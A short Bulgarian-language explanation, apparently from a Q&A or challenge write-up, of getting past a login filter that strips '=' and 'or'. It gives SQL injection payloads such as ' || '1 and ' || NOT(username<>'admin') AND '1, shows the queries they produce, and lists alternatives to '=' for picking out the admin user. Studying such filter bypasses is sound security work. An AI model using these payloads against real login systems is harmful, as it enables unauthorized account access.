Ако приемем това дефиниция на lvl2_filter
, което по същество премахва всяко появяване на = и or докато вече не бъде намерен, трябва да е възможно да се използва логическа операция ИЛИ
с || вместо OR и прост израз, който се оценява на истина като:
username: dummy
password: ' || '1
Това би довело до:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
За да изберете конкретен потребител, можете да използвате правилата на булевата алгебра
, където x=y =!(x!=y) :
username: dummy
password: ' || NOT(username<>'admin') AND '1
Това би довело до:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Тук <> е еквивалентен на != но не съдържа = .
Има и други операции, които човек може да използва за осигуряване на потребителско име равно на admin :
username BETWEEN 'admin' AND 'admin'username LIKE 'admin'username IN ('admin')IF(STRCMP(username,'admin'), 0, 1)CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END- …